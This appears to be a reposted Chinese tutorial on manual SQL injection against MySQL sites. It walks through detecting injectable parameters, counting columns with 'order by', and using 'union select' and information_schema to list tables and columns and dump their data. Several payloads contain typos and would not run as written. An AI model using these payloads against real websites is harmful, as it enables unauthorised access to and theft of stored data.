sql手工注入的方法是什么

网友投稿 362 2023-11-27

sql手工注入的方法是什么

这篇文章主要介绍“sql手工注入的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“sql手工注入的方法是什么”文章能帮助大家解决问题。

判断注入点

sql手工注入的方法是什么

1.单引号法:直接在网址后面加一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在sql注入漏洞

2.1=1和1=2:在网址后面的get传参中加上 and 1=1 ,显示正常,把1=1替换为1=2,显示异常,说明网页存在sql注入。

判断注入类型

1.数字型注入:注入变量的值不需要用引号引起来,如

select * from user where id=$id;

2.字符型注入:注入变量会用引号包裹起来,如`

select * from user where username=$username;`

注入时注意要闭合引号。

3.搜索型注入:select * from user whereusernamelike %$pass%;

把sql语句构造为

select * from user where username like %$pass% union select语句 %%

即传输的变量为 pass%’ union select语句 % 形成闭合。

判断注入点提交方式

通过抓包等方式判断注入点的提交方式是get,post,还是cookie。

使用order by 查询字段

使用order by 语句可以查询出数据库有多少个字段,可以通过不断的尝试来确定数据库字段数量,如在输入oeder by 9时,页面报错而输入order by 8时页面显示正常,即数据库中有8个字段。

如查询语句为:select * from user where id=$id;

可以构造下面的输入:(id = ) order by 3 +--+

即查询语句为:select * from user where id= order by 3 --

使用联合查询来查询当前数据库、用户、版本信息

使用 union select 语句来查询当前使用用户 user() , 数据库database() ,数据库版本 version() ,服务器操作系统的@@version_compile_os等信息

version版本十分重要,如果版本在5.0以上,就可以使用information_schema库来轻易的查询想要的信息

构造语句:select * from user where idunion select user(),database(),version()+--+;

查询当前数据库中的表,列和值

5.0 版本以上的mysql数据库自带的information_schema库中存储着数据库中所有的表名和列明信息。

下面我们就应该根据第五步查询的当前数据库的结果(如数据库为database_1)名下所有的表名tables的信息。

Information_schema.tables :记录着数据库中所有表名信息的表。

构造的查询语句如下:Select * from user where idunion select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--

查询的结果为:第五步查询的当前数据库中的表名信息。

Information_schema.columns:记录着数据库中所有的表中的列名信息;

下面就应该根据上面查询得到的表名信息(如表为table_1)查询他的列名信息,构造语句如下:Select * from user where idunion selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--

查询出列名后,就可以直接通过联合查询查出表中存储的信息(如查出的列名为column_1,column_2)构造语句

Selcet * from user where id= union select 1,column_1,column_2from tables;--

即可查询出指定数据库指定表的存储数据

关于“sql手工注入的方法是什么”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注行业资讯频道,小编每天都会为大家更新不同的知识点。

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:Redis String怎么使用
下一篇:MYSQL中锁的模式与类型有哪些
相关文章

 发表评论

暂时没有评论,来抢沙发吧~